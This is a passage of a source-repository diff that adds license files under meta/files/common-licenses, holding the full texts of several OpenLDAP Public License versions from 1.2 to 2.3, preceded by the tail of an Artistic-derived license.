+
+ "Reasonable copying fee" is whatever you can justify on the basis of media cost, duplication charges, time of people involved, and so on. (You will not be required to justify it to the Copyright Holder, but only to the computing community at large as a market that must bear the fee.)
+
+ "Freely Available" means that no fee is charged for the item itself, though there may be fees involved in handling the item. It also means that recipients of the item may redistribute it under the same conditions they received it.
+
+1. You may make and give away verbatim copies of the source form of the Standard Version of this Package without restriction, provided that you duplicate all of the original copyright notices and associated disclaimers.
+
+2. You may apply bug fixes, portability fixes and other modifications derived from the Public Domain or from the Copyright Holder. A Package modified in such a way shall still be considered the Standard Version.
+
+3. You may otherwise modify your copy of this Package in any way, provided that you insert a prominent notice in each changed file stating how and when you changed that file, and provided that you do at least ONE of the following:
+
+ a) place your modifications in the Public Domain or otherwise make them Freely Available, such as by posting said modifications to Usenet or an equivalent medium, or placing the modifications on a major archive site such as uunet.uu.net, or by allowing the Copyright Holder to include your modifications in the Standard Version of the Package.
+
+ b) use the modified Package only within your corporation or organization.
+
+ c) rename any non-standard executables so the names do not conflict with standard executables, which must also be provided, and provide a separate manual page for each non-standard executable that clearly documents how it differs from the Standard Version.
+
+ d) make other distribution arrangements with the Copyright Holder.
+
+4. You may distribute the programs of this Package in object code or executable form, provided that you do at least ONE of the following:
+
+ a) distribute a Standard Version of the executables and library files, together with instructions (in the manual page or equivalent) on where to get the Standard Version.
+
+ b) accompany the distribution with the machine-readable source of the Package with your modifications.
+
+ c) accompany any non-standard executables with their corresponding Standard Version executables, giving the non-standard executables non-standard names, and clearly documenting the differences in manual pages (or equivalent), together with instructions on where to get the Standard Version.
+
+ d) make other distribution arrangements with the Copyright Holder.
+
+5. You may charge a reasonable copying fee for any distribution of this Package. You may charge any fee you choose for support of this Package. You may not charge a fee for this Package itself. However, you may distribute this Package in aggregate with other (possibly commercial) programs as part of a larger (possibly commercial) software distribution provided that you do not advertise this Package as a product of your own.
+
+6. The scripts and library files supplied as input to or produced as output from the programs of this Package do not automatically fall under the copyright of this Package, but belong to whomever generated them, and may be sold commercially, and may be aggregated with this Package.
+
+7. C subroutines supplied by you and linked into this Package in order to emulate subroutines and variables of the language defined by this Package shall not be considered part of this Package, but are the equivalent of input as in Paragraph 6, provided these subroutines do not change the language in any way that would cause it to fail the regression tests for the language.
+
+8. The name of the Copyright Holder may not be used to endorse or promote products derived from this software without specific prior written permission.
+
+9. THIS PACKAGE IS PROVIDED "AS IS" AND WITHOUT ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, WITHOUT LIMITATION, THE IMPLIED WARRANTIES OF MERCHANTIBILITY AND FITNESS FOR A PARTICULAR PURPOSE.
+
+The End
diff --git a/meta/files/common-licenses/OLDAP-1.2 b/meta/files/common-licenses/OLDAP-1.2
new file mode 100644
index 0000000000..c61d6026e3
--- /dev/null
+++ b/meta/files/common-licenses/OLDAP-1.2
@@ -0,0 +1,60 @@
+The OpenLDAP Public License
+Version 1.2, 1 September 1998
+
+Copyright 1998, The OpenLDAP Foundation. All Rights Reserved.
+
+Note: This license is derived from the "Artistic License" as distributed with the Perl Programming Language. As differences may exist, the complete license should be read.
+
+PREAMBLE
+
+The intent of this document is to state the conditions under which a Package may be copied, such that the Copyright Holder maintains some semblance of artistic control over the development of the package, while giving the users of the package the right to use and distribute the Package in a more-or-less customary fashion, plus the right to make reasonable modifications.
+
+Definitions:
+
+ "Package" refers to the collection of files distributed by the Copyright Holder, and derivatives of that collection of files created through textual modification.
+
+ "Standard Version" refers to such a Package if it has not been modified, or has been modified in accordance with the wishes of the Copyright Holder.
+
+ "Copyright Holder" is whoever is named in the copyright or copyrights for the package.
+
+ "You" is you, if you're thinking about copying or distributing this Package.
+
+ "Reasonable copying fee" is whatever you can justify on the basis of media cost, duplication charges, time of people involved, and so on. (You will not be required to justify it to the Copyright Holder, but only to the computing community at large as a market that must bear the fee.)
+
+ "Freely Available" means that no fee is charged for the item itself, though there may be fees involved in handling the item. It also means that recipients of the item may redistribute it under the same conditions they received it.
+
+1. You may make and give away verbatim copies of the source form of the Standard Version of this Package without restriction, provided that you duplicate all of the original copyright notices and associated disclaimers.
+
+2. You may apply bug fixes, portability fixes and other modifications derived from the Public Domain or from the Copyright Holder. A Package modified in such a way shall still be considered the Standard Version.
+
+3. You may otherwise modify your copy of this Package in any way, provided that you insert a prominent notice in each changed file stating how and when you changed that file, and provided that you do at least ONE of the following:
+
+ a) place your modifications in the Public Domain or otherwise make them Freely Available, such as by posting said modifications to Usenet or an equivalent medium, or placing the modifications on a major archive site such as uunet.uu.net, or by allowing the Copyright Holder to include your modifications in the Standard Version of the Package.
+
+ b) use the modified Package only within your corporation or organization.
+
+ c) rename any non-standard executables so the names do not conflict with standard executables, which must also be provided, and provide a separate manual page for each non-standard executable that clearly documents how it differs from the Standard Version.
+
+ d) make other distribution arrangements with the Copyright Holder.
+
+4. You may distribute the programs of this Package in object code or executable form, provided that you do at least ONE of the following:
+
+ a) distribute a Standard Version of the executables and library files, together with instructions (in the manual page or equivalent) on where to get the Standard Version.
+
+ b) accompany the distribution with the machine-readable source of the Package with your modifications.
+
+ c) accompany any non-standard executables with their corresponding Standard Version executables, giving the non-standard executables non-standard names, and clearly documenting the differences in manual pages (or equivalent), together with instructions on where to get the Standard Version.
+
+ d) make other distribution arrangements with the Copyright Holder.
+
+5. You may charge a reasonable copying fee for any distribution of this Package. You may charge any fee you choose for support of this Package. You may not charge a fee for this Package itself. However, you may distribute this Package in aggregate with other (possibly commercial) programs as part of a larger (possibly commercial) software distribution provided that you do not advertise this Package as a product of your own.
+
+6. The scripts and library files supplied as input to or produced as output from the programs of this Package do not automatically fall under the copyright of this Package, but belong to whomever generated them, and may be sold commercially, and may be aggregated with this Package.
+
+7. C subroutines supplied by you and linked into this Package in order to emulate subroutines and variables of the language defined by this Package shall not be considered part of this Package, but are the equivalent of input as in Paragraph 6, provided these subroutines do not change the language in any way that would cause it to fail the regression tests for the language.
+
+8. The name of the Copyright Holder may not be used to endorse or promote products derived from this software without specific prior written permission.
+
+9. THIS PACKAGE IS PROVIDED "AS IS" AND WITHOUT ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, WITHOUT LIMITATION, THE IMPLIED WARRANTIES OF MERCHANTIBILITY AND FITNESS FOR A PARTICULAR PURPOSE.
+
+The End
diff --git a/meta/files/common-licenses/OLDAP-1.3 b/meta/files/common-licenses/OLDAP-1.3
new file mode 100644
index 0000000000..f19e722f32
--- /dev/null
+++ b/meta/files/common-licenses/OLDAP-1.3
@@ -0,0 +1,62 @@
+The OpenLDAP Public License
+Version 1.3, 17 January 1999
+
+Copyright 1998-1999, The OpenLDAP Foundation. All Rights Reserved.
+
+Note: This license is derived from the "Artistic License" as distributed with the Perl Programming Language. As significant differences exist, the complete license should be read.
+
+PREAMBLE
+
+The intent of this document is to state the conditions under which a Package may be copied, such that the Copyright Holder maintains some semblance of artistic control over the development of the package, while giving the users of the package the right to use and distribute the Package in a more-or-less customary fashion, plus the right to make reasonable modifications.
+
+Definitions:
+
+ "Package" refers to the collection of files distributed by the Copyright Holder, and derivatives of that collection of files created through textual modification.
+
+ "Standard Version" refers to such a Package if it has not been modified, or has been modified in accordance with the wishes of the Copyright Holder.
+
+ "Copyright Holder" is whoever is named in the copyright or copyrights for the package.
+
+ "You" is you, if you're thinking about copying or distributing this Package.
+
+ "Reasonable copying fee" is whatever you can justify on the basis of media cost, duplication charges, time of people involved, and so on. (You will not be required to justify it to the Copyright Holder, but only to the computing community at large as a market that must bear the fee.)
+
+ "Freely Available" means that no fee is charged for the item itself, though there may be fees involved in handling the item. It also means that recipients of the item may redistribute it under the same conditions they received it.
+
+1. You may make and give away verbatim copies of the source form of the Standard Version of this Package without restriction, provided that you duplicate all of the original copyright notices and associated disclaimers.
+
+2. You may apply bug fixes, portability fixes and other modifications derived from the Public Domain or from the Copyright Holder. A Package modified in such a way shall still be considered the Standard Version.
+
+3. You may otherwise modify your copy of this Package in any way, provided that you insert a prominent notice in each changed file stating how and when you changed that file, and provided that you do at least ONE of the following:
+
+ a) place your modifications in the Public Domain or otherwise make them Freely Available, such as by posting said modifications to Usenet or an equivalent medium, or placing the modifications on a major archive site such as uunet.uu.net, or by allowing the Copyright Holder to include your modifications in the Standard Version of the Package.
+
+ b) use the modified Package only within your corporation or organization.
+
+ c) rename any non-standard executables so the names do not conflict with standard executables, which must also be provided, and provide a separate manual page for each non-standard executable that clearly documents how it differs from the Standard Version.
+
+ d) make other distribution arrangements with the Copyright Holder.
+
+4. You may distribute the programs of this Package in object code or executable form, provided that you do at least ONE of the following:
+
+ a) distribute a Standard Version of the executables and library files, together with instructions (in the manual page or equivalent) on where to get the Standard Version.
+
+ b) accompany the distribution with the machine-readable source of the Package with your modifications.
+
+ c) accompany any non-standard executables with their corresponding Standard Version executables, giving the non-standard executables non-standard names, and clearly documenting the differences in manual pages (or equivalent), together with instructions on where to get the Standard Version.
+
+ d) make other distribution arrangements with the Copyright Holder.
+
+5. You may charge a reasonable copying fee for any distribution of this Package. You may charge any fee you choose for support of this Package. You may not charge a fee for this Package itself. However, you may distribute this Package in aggregate with other (possibly commercial) programs as part of a larger (possibly commercial) software distribution provided that you do not advertise this Package as a product of your own.
+
+6. The scripts and library files supplied as input to or produced as output from the programs of this Package do not automatically fall under the copyright of this Package, but belong to whomever generated them, and may be sold commercially, and may be aggregated with this Package.
+
+7. C subroutines supplied by you and linked into this Package in order to emulate subroutines and variables defined by this Package shall not be considered part of this Package, but are the equivalent of input as in Paragraph 6, provided these subroutines do not change the behavior of the Package in any way that would cause it to fail the regression tests for the Package.
+
+8. Software supplied by you and linked with this Package in order to use subroutines and variables defined by this Package shall not be considered part of this Package and do not automatically fall under the copyright of this Package, and the executables produced by linking your software with this Package may be used and redistributed without restriction and may be sold commercially.
+
+9. The name of the Copyright Holder may not be used to endorse or promote products derived from this software without specific prior written permission.
+
+10. THIS PACKAGE IS PROVIDED "AS IS" AND WITHOUT ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, WITHOUT LIMITATION, THE IMPLIED WARRANTIES OF MERCHANTIBILITY AND FITNESS FOR A PARTICULAR PURPOSE.
+
+The End
diff --git a/meta/files/common-licenses/OLDAP-1.4 b/meta/files/common-licenses/OLDAP-1.4
new file mode 100644
index 0000000000..4267f1421e
--- /dev/null
+++ b/meta/files/common-licenses/OLDAP-1.4
@@ -0,0 +1,62 @@
+The OpenLDAP Public License
+Version 1.4, 18 January 1999
+
+Copyright 1998-1999, The OpenLDAP Foundation. All Rights Reserved.
+
+Note: This license is derived from the "Artistic License" as distributed with the Perl Programming Language. As significant differences exist, the complete license should be read.
+
+PREAMBLE
+
+The intent of this document is to state the conditions under which a Package may be copied, such that the Copyright Holder maintains some semblance of artistic control over the development of the package, while giving the users of the package the right to use and distribute the Package in a more-or-less customary fashion, plus the right to make reasonable modifications.
+
+Definitions:
+
+ "Package" refers to the collection of files distributed by the Copyright Holder, and derivatives of that collection of files created through textual modification.
+
+ "Standard Version" refers to such a Package if it has not been modified, or has been modified in accordance with the wishes of the Copyright Holder.
+
+ "Copyright Holder" is whoever is named in the copyright or copyrights for the package.
+
+ "You" is you, if you're thinking about copying or distributing this Package.
+
+ "Reasonable copying fee" is whatever you can justify on the basis of media cost, duplication charges, time of people involved, and so on. (You will not be required to justify it to the Copyright Holder, but only to the computing community at large as a market that must bear the fee.)
+
+ "Freely Available" means that no fee is charged for the item itself, though there may be fees involved in handling the item. It also means that recipients of the item may redistribute it under the same conditions they received it.
+
+1. You may make and give away verbatim copies of the source form of the Standard Version of this Package without restriction, provided that you duplicate all of the original copyright notices and associated disclaimers.
+
+2. You may apply bug fixes, portability fixes and other modifications derived from the Public Domain or from the Copyright Holder. A Package modified in such a way shall still be considered the Standard Version.
+
+3. You may otherwise modify your copy of this Package in any way, provided that you insert a prominent notice in each changed file stating how and when you changed that file, and provided that you do at least ONE of the following:
+
+ a) place your modifications in the Public Domain or otherwise make them Freely Available, such as by posting said modifications to Usenet or an equivalent medium, or placing the modifications on a major archive site such as uunet.uu.net, or by allowing the Copyright Holder to include your modifications in the Standard Version of the Package.
+
+ b) use the modified Package only within your corporation or organization.
+
+ c) rename any non-standard executables so the names do not conflict with standard executables, which must also be provided, and provide a separate manual page for each non-standard executable that clearly documents how it differs from the Standard Version.
+
+ d) make other distribution arrangements with the Copyright Holder.
+
+4. You may distribute the programs of this Package in object code or executable form, provided that you do at least ONE of the following:
+
+ a) distribute a Standard Version of the executables and library files, together with instructions (in the manual page or equivalent) on where to get the Standard Version.
+
+ b) accompany the distribution with the machine-readable source of the Package with your modifications.
+
+ c) accompany any non-standard executables with their corresponding Standard Version executables, giving the non-standard executables non-standard names, and clearly documenting the differences in manual pages (or equivalent), together with instructions on where to get the Standard Version.
+
+ d) make other distribution arrangements with the Copyright Holder.
+
+5. You may charge a reasonable copying fee for any distribution of this Package. You may charge any fee you choose for support of this Package. You may not charge a fee for this Package itself. However, you may distribute this Package in aggregate with other (possibly commercial) programs as part of a larger (possibly commercial) software distribution provided that you do not advertise this Package as a product of your own.
+
+6. The scripts and library files supplied as input to or produced as output from the programs of this Package do not automatically fall under the copyright of this Package, but belong to whomever generated them, and may be sold commercially, and may be aggregated with this Package.
+
+7. C subroutines supplied by you and linked into this Package in order to emulate subroutines and variables defined by this Package shall not be considered part of this Package, but are the equivalent of input as in Paragraph 6, provided these subroutines do not change the behavior of the Package in any way that would cause it to fail the regression tests for the Package.
+
+8. Software supplied by you and linked with this Package in order to use subroutines and variables defined by this Package shall not be considered part of this Package and do not automatically fall under the copyright of this Package. Executables produced by linking your software with this Package may be used and redistributed without restriction and may be sold commercially so long as the primary function of your software is different than the package itself.
+
+9. The name of the Copyright Holder may not be used to endorse or promote products derived from this software without specific prior written permission.
+
+10. THIS PACKAGE IS PROVIDED "AS IS" AND WITHOUT ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, WITHOUT LIMITATION, THE IMPLIED WARRANTIES OF MERCHANTIBILITY AND FITNESS FOR A PARTICULAR PURPOSE.
+
+The End
diff --git a/meta/files/common-licenses/OLDAP-2.0 b/meta/files/common-licenses/OLDAP-2.0
new file mode 100644
index 0000000000..8c460cb788
--- /dev/null
+++ b/meta/files/common-licenses/OLDAP-2.0
@@ -0,0 +1,18 @@
+The OpenLDAP Public License
+Version 2.0, 7 June 1999
+
+Copyright 1999, The OpenLDAP Foundation, Redwood City, California, USA. All Rights Reserved.
+
+Redistribution and use of this software and associated documentation ("Software"), with or without modification, are permitted provided that the following conditions are met:
+
+1. Redistributions of source code must retain copyright statements and notices. Redistributions must also contain a copy of this document.
+
+2. Redistributions in binary form must reproduce the above copyright notice, this list of conditions and the following disclaimer in the documentation and/or other materials provided with the distribution.
+
+3. The name "OpenLDAP" must not be used to endorse or promote products derived from this Software without prior written permission of the OpenLDAP Foundation. For written permission, please contact foundation@openldap.org.
+
+4. Products derived from this Software may not be called "OpenLDAP" nor may "OpenLDAP" appear in their names without prior written permission of the OpenLDAP Foundation. OpenLDAP is a registered trademark of the OpenLDAP Foundation.
+
+5. Due credit should be given to the OpenLDAP Project (http://www.openldap.org/).
+
+THIS SOFTWARE IS PROVIDED BY THE OPENLDAP FOUNDATION AND CONTRIBUTORS ``AS IS'' AND ANY EXPRESSED OR IMPLIED WARRANTIES, INCLUDING, BUT NOT LIMITED TO, THE IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR A PARTICULAR PURPOSE ARE DISCLAIMED. IN NO EVENT SHALL THE OPENLDAP FOUNDATION OR ITS CONTRIBUTORS BE LIABLE FOR ANY DIRECT, INDIRECT, INCIDENTAL, SPECIAL, EXEMPLARY, OR CONSEQUENTIAL DAMAGES (INCLUDING, BUT NOT LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS OR SERVICES; LOSS OF USE, DATA, OR PROFITS; OR BUSINESS INTERRUPTION) HOWEVER CAUSED AND ON ANY THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT LIABILITY, OR TORT (INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY OUT OF THE USE OF THIS SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF SUCH DAMAGE.
diff --git a/meta/files/common-licenses/OLDAP-2.0.1 b/meta/files/common-licenses/OLDAP-2.0.1
new file mode 100644
index 0000000000..c04920e943
--- /dev/null
+++ b/meta/files/common-licenses/OLDAP-2.0.1
@@ -0,0 +1,18 @@
+The OpenLDAP Public License
+Version 2.0.1, 21 December 1999
+
+Copyright 1999, The OpenLDAP Foundation, Redwood City, California, USA. All Rights Reserved.
+
+Redistribution and use of this software and associated documentation ("Software"), with or without modification, are permitted provided that the following conditions are met:
+
+1. Redistributions of source code must retain copyright statements and notices. Redistributions must also contain a copy of this document.
+
+2. Redistributions in binary form must reproduce the above copyright notice, this list of conditions and the following disclaimer in the documentation and/or other materials provided with the distribution.
+
+3. The name "OpenLDAP" must not be used to endorse or promote products derived from this Software without prior written permission of the OpenLDAP Foundation. For written permission, please contact foundation@openldap.org.
+
+4. Products derived from this Software may not be called "OpenLDAP" nor may "OpenLDAP" appear in their names without prior written permission of the OpenLDAP Foundation. OpenLDAP is a trademark of the OpenLDAP Foundation.
+
+5. Due credit should be given to the OpenLDAP Project (http://www.openldap.org/).
+
+THIS SOFTWARE IS PROVIDED BY THE OPENLDAP FOUNDATION AND CONTRIBUTORS ``AS IS'' AND ANY EXPRESSED OR IMPLIED WARRANTIES, INCLUDING, BUT NOT LIMITED TO, THE IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR A PARTICULAR PURPOSE ARE DISCLAIMED. IN NO EVENT SHALL THE OPENLDAP FOUNDATION OR ITS CONTRIBUTORS BE LIABLE FOR ANY DIRECT, INDIRECT, INCIDENTAL, SPECIAL, EXEMPLARY, OR CONSEQUENTIAL DAMAGES (INCLUDING, BUT NOT LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS OR SERVICES; LOSS OF USE, DATA, OR PROFITS; OR BUSINESS INTERRUPTION) HOWEVER CAUSED AND ON ANY THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT LIABILITY, OR TORT (INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY OUT OF THE USE OF THIS SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF SUCH DAMAGE.
diff --git a/meta/files/common-licenses/OLDAP-2.1 b/meta/files/common-licenses/OLDAP-2.1
new file mode 100644
index 0000000000..4f461fe869
--- /dev/null
+++ b/meta/files/common-licenses/OLDAP-2.1
@@ -0,0 +1,20 @@
+The OpenLDAP Public License
+Version 2.1, 29 February 2000
+
+Copyright 1999-2000, The OpenLDAP Foundation, Redwood City, California, USA. All Rights Reserved.
+
+Redistribution and use of this software and associated documentation ("Software"), with or without modification, are permitted provided that the following conditions are met:
+
+1. Redistributions of source code must retain copyright statements and notices. Redistributions must also contain a copy of this document.
+
+2. Redistributions in binary form must reproduce the above copyright notice, this list of conditions and the following disclaimer in the documentation and/or other materials provided with the distribution.
+
+3. The name "OpenLDAP" must not be used to endorse or promote products derived from this Software without prior written permission of the OpenLDAP Foundation. For written permission, please contact foundation@openldap.org.
+
+4. Products derived from this Software may not be called "OpenLDAP" nor may "OpenLDAP" appear in their names without prior written permission of the OpenLDAP Foundation. OpenLDAP is a trademark of the OpenLDAP Foundation.
+
+5. Due credit should be given to the OpenLDAP Project (http://www.openldap.org/).
+
+6. The OpenLDAP Foundation may revise this license from time to time. Each revision is distinguished by a version number. You may use the Software under terms of this license revision or under the terms of any subsequent license revision.
+
+THIS SOFTWARE IS PROVIDED BY THE OPENLDAP FOUNDATION AND CONTRIBUTORS ``AS IS'' AND ANY EXPRESSED OR IMPLIED WARRANTIES, INCLUDING, BUT NOT LIMITED TO, THE IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR A PARTICULAR PURPOSE ARE DISCLAIMED. IN NO EVENT SHALL THE OPENLDAP FOUNDATION OR ITS CONTRIBUTORS BE LIABLE FOR ANY DIRECT, INDIRECT, INCIDENTAL, SPECIAL, EXEMPLARY, OR CONSEQUENTIAL DAMAGES (INCLUDING, BUT NOT LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS OR SERVICES; LOSS OF USE, DATA, OR PROFITS; OR BUSINESS INTERRUPTION) HOWEVER CAUSED AND ON ANY THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT LIABILITY, OR TORT (INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY OUT OF THE USE OF THIS SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF SUCH DAMAGE.
diff --git a/meta/files/common-licenses/OLDAP-2.2 b/meta/files/common-licenses/OLDAP-2.2
new file mode 100644
index 0000000000..24446fd529
--- /dev/null
+++ b/meta/files/common-licenses/OLDAP-2.2
@@ -0,0 +1,22 @@
+The OpenLDAP Public License
+Version 2.2, 1 March 2000
+
+Redistribution and use of this software and associated documentation ("Software"), with or without modification, are permitted provided that the following conditions are met:
+
+1. Redistributions of source code must retain copyright statements and notices. Redistributions must also contain a copy of this document.
+
+2. Redistributions in binary form must reproduce the above copyright notice, this list of conditions and the following disclaimer in the documentation and/or other materials provided with the distribution.
+
+3. The name "OpenLDAP" must not be used to endorse or promote products derived from this Software without prior written permission of the OpenLDAP Foundation.
+
+4. Products derived from this Software may not be called "OpenLDAP" nor may "OpenLDAP" appear in their names without prior written permission of the OpenLDAP Foundation.
+
+5. Due credit should be given to the OpenLDAP Project (http://www.openldap.org/).
+
+6. The OpenLDAP Foundation may revise this license from time to time. Each revision is distinguished by a version number. You may use the Software under terms of this license revision or under the terms of any subsequent the license.
+
+THIS SOFTWARE IS PROVIDED BY THE OPENLDAP FOUNDATION AND CONTRIBUTORS ``AS IS'' AND ANY EXPRESSED OR IMPLIED WARRANTIES, INCLUDING, BUT NOT LIMITED TO, THE IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR A PARTICULAR PURPOSE ARE DISCLAIMED. IN NO EVENT SHALL THE OPENLDAP FOUNDATION OR ITS CONTRIBUTORS BE LIABLE FOR ANY DIRECT, INDIRECT, INCIDENTAL, SPECIAL, EXEMPLARY, OR CONSEQUENTIAL DAMAGES (INCLUDING, BUT NOT LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS OR SERVICES; LOSS OF USE, DATA, OR PROFITS; OR BUSINESS INTERRUPTION) HOWEVER CAUSED AND ON ANY THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT LIABILITY, OR TORT (INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY OUT OF THE USE OF THIS SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF SUCH DAMAGE.
+
+OpenLDAP is a trademark of the OpenLDAP Foundation.
+
+Copyright 1999-2000, The OpenLDAP Foundation, Redwood City, California, USA. All Rights Reserved. Permission to copy and distributed verbatim copies of this document is granted.
diff --git a/meta/files/common-licenses/OLDAP-2.2.1 b/meta/files/common-licenses/OLDAP-2.2.1
new file mode 100644
index 0000000000..3fd04859b8
--- /dev/null
+++ b/meta/files/common-licenses/OLDAP-2.2.1
@@ -0,0 +1,22 @@
+The OpenLDAP Public License
+Version 2.2.1, 1 March 2000
+
+Redistribution and use of this software and associated documentation ("Software"), with or without modification, are permitted provided that the following conditions are met:
+
+1. Redistributions of source code must retain copyright statements and notices. Redistributions must also contain a copy of this document.
+
+2. Redistributions in binary form must reproduce the above copyright notice, this list of conditions and the following disclaimer in the documentation and/or other materials provided with the distribution.
+
+3. The name "OpenLDAP" must not be used to endorse or promote products derived from this Software without prior written permission of the OpenLDAP Foundation.
+
+4. Products derived from this Software may not be called "OpenLDAP" nor may "OpenLDAP" appear in their names without prior written permission of the OpenLDAP Foundation.
+
+5. Due credit should be given to the OpenLDAP Project (http://www.openldap.org/).
+
+6. The OpenLDAP Foundation may revise this license from time to time. Each revision is distinguished by a version number. You may use the Software under terms of this license revision or under the terms of any subsequent revision of the license.
+
+THIS SOFTWARE IS PROVIDED BY THE OPENLDAP FOUNDATION AND CONTRIBUTORS ``AS IS'' AND ANY EXPRESSED OR IMPLIED WARRANTIES, INCLUDING, BUT NOT LIMITED TO, THE IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR A PARTICULAR PURPOSE ARE DISCLAIMED. IN NO EVENT SHALL THE OPENLDAP FOUNDATION OR ITS CONTRIBUTORS BE LIABLE FOR ANY DIRECT, INDIRECT, INCIDENTAL, SPECIAL, EXEMPLARY, OR CONSEQUENTIAL DAMAGES (INCLUDING, BUT NOT LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS OR SERVICES; LOSS OF USE, DATA, OR PROFITS; OR BUSINESS INTERRUPTION) HOWEVER CAUSED AND ON ANY THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT LIABILITY, OR TORT (INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY OUT OF THE USE OF THIS SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF SUCH DAMAGE.
+
+OpenLDAP is a trademark of the OpenLDAP Foundation.
+
+Copyright 1999-2000 The OpenLDAP Foundation, Redwood City, California, USA. All Rights Reserved. Permission to copy and distributed verbatim copies of this document is granted.
diff --git a/meta/files/common-licenses/OLDAP-2.2.2 b/meta/files/common-licenses/OLDAP-2.2.2
new file mode 100644
index 0000000000..f466cdcc51
--- /dev/null
+++ b/meta/files/common-licenses/OLDAP-2.2.2
@@ -0,0 +1,24 @@
+The OpenLDAP Public License
+Version 2.2.2, 28 July 2000
+
+Redistribution and use of this software and associated documentation ("Software"), with or without modification, are permitted provided that the following conditions are met:
+
+1. Redistributions of source code must retain copyright statements and notices.
+
+2. Redistributions in binary form must reproduce applicable copyright statements and notices, this list of conditions, and the following disclaimer in the documentation and/or other materials provided with the distribution.
+
+3. Redistributions must contain a verbatim copy of this document.
+
+4. The name "OpenLDAP" must not be used to endorse or promote products derived from this Software without prior written permission of the OpenLDAP Foundation.
+
+5. Products derived from this Software may not be called "OpenLDAP" nor may "OpenLDAP" appear in their names without prior written permission of the OpenLDAP Foundation.
+
+6. Due credit should be given to the OpenLDAP Project (http://www.openldap.org/).
+
+7. The OpenLDAP Foundation may revise this license from time to time. Each revision is distinguished by a version number. You may use the Software under terms of this license revision or under the terms of any subsequent revision of the license.
+
+THIS SOFTWARE IS PROVIDED BY THE OPENLDAP FOUNDATION AND CONTRIBUTORS ``AS IS'' AND ANY EXPRESSED OR IMPLIED WARRANTIES, INCLUDING, BUT NOT LIMITED TO, THE IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR A PARTICULAR PURPOSE ARE DISCLAIMED. IN NO EVENT SHALL THE OPENLDAP FOUNDATION OR ITS CONTRIBUTORS BE LIABLE FOR ANY DIRECT, INDIRECT, INCIDENTAL, SPECIAL, EXEMPLARY, OR CONSEQUENTIAL DAMAGES (INCLUDING, BUT NOT LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS OR SERVICES; LOSS OF USE, DATA, OR PROFITS; OR BUSINESS INTERRUPTION) HOWEVER CAUSED AND ON ANY THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT LIABILITY, OR TORT (INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY OUT OF THE USE OF THIS SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF SUCH DAMAGE.
+
+OpenLDAP is a trademark of the OpenLDAP Foundation.
+
+Copyright 1999-2000 The OpenLDAP Foundation, Redwood City, California, USA. All Rights Reserved. Permission to copy and distributed verbatim copies of this document is granted.
diff --git a/meta/files/common-licenses/OLDAP-2.3 b/meta/files/common-licenses/OLDAP-2.3
new file mode 100644
index 0000000000..ebfc7f8efa
--- /dev/null
+++ b/meta/files/common-licenses/OLDAP-2.3
@@ -0,0 +1,24 @@
+The OpenLDAP Public License
+Version 2.3, 28 July 2000
+
+Redistribution and use of this software and associated documentation ("Software"), with or without modification, are permitted provided that the following conditions are met:
+
+1. Redistributions of source code must retain copyright statements and notices.
+
+2. Redistributions in binary form must reproduce applicable copyright statements and notices, this list of conditions, and the following disclaimer in the documentation and/or other materials provided with the distribution.
+
+3. Redistributions must contain a verbatim copy of this document.
+
+4. The name "OpenLDAP" must not be used to endorse or promote products derived from this Software without prior written permission of the OpenLDAP Foundation.
+
+5. Products derived from this Software may not be called "OpenLDAP" nor may "OpenLDAP" appear in their names without prior written permission of the OpenLDAP Foundation.
+
+6. Due credit should be given to the OpenLDAP Project (http://www.openldap.org/).
+
+7. The OpenLDAP Foundation may revise this license from time to time. Each revision is distinguished by a version number. You may use the Software under terms of this license revision or under the terms of any subsequent revision of the license.
+
+THIS SOFTWARE IS PROVIDED BY THE OPENLDAP FOUNDATION AND CONTRIBUTORS ``AS IS'' AND ANY EXPRESSED OR IMPLIED WARRANTIES, INCLUDING, BUT NOT LIMITED TO, THE IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR A PARTICULAR PURPOSE ARE DISCLAIMED. IN NO EVENT SHALL THE OPENLDAP FOUNDATION OR ITS CONTRIBUTORS BE LIABLE FOR ANY DIRECT, INDIRECT, INCIDENTAL, SPECIAL, EXEMPLARY, OR CONSEQUENTIAL DAMAGES (INCLUDING, BUT NOT LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS OR SERVICES; LOSS OF USE, DATA, OR PROFITS; OR BUSINESS INTERRUPTION) HOWEVER CAUSED AND ON ANY THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT LIABILITY, OR TORT (INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY OUT OF THE USE OF THIS SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF SUCH DAMAGE.
+
